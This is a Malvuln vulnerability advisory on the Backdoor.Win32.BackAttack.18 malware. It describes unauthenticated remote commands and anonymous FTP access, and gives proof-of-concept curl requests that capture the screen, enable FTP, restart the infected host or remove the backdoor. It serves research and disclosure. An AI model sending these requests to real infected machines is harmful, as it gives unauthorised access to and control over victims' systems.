Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/c806d23f4343ab40cf897e9c38b5c1c3.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.BackAttack.18 Vulnerability: Multiple Vulnerabilities Description: BackAttack.18 (v1.8) listens on TCP ports 80 and 11131. It has remote features you can enable like take screenshot, restart the infected system, enable FTP or even destroy the backdoor. The malware allows these commands to be executed without requiring authentication and the FTP server allows anonymous user logon. Type: PE32 MD5: c806d23f4343ab40cf897e9c38b5c1c3 Vuln ID: MVID-2021-0084 Dropped files: Disclosure: 02/11/2021 Exploit/PoC: 1) Whos logged on curl http://x.x.x.x/whoisthere 2) Screen capture curl http://x.x.x.x/capturescreen 3) Enable FTP curl http://x.x.x.x/ftpon 4) Restart infected host curl http://x.x.x.x/restart 5) Destroy the backdoor curl http://x.x.x.x/destroyyes -v Destroy action has been executed! -Restart procedure initiated also- Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).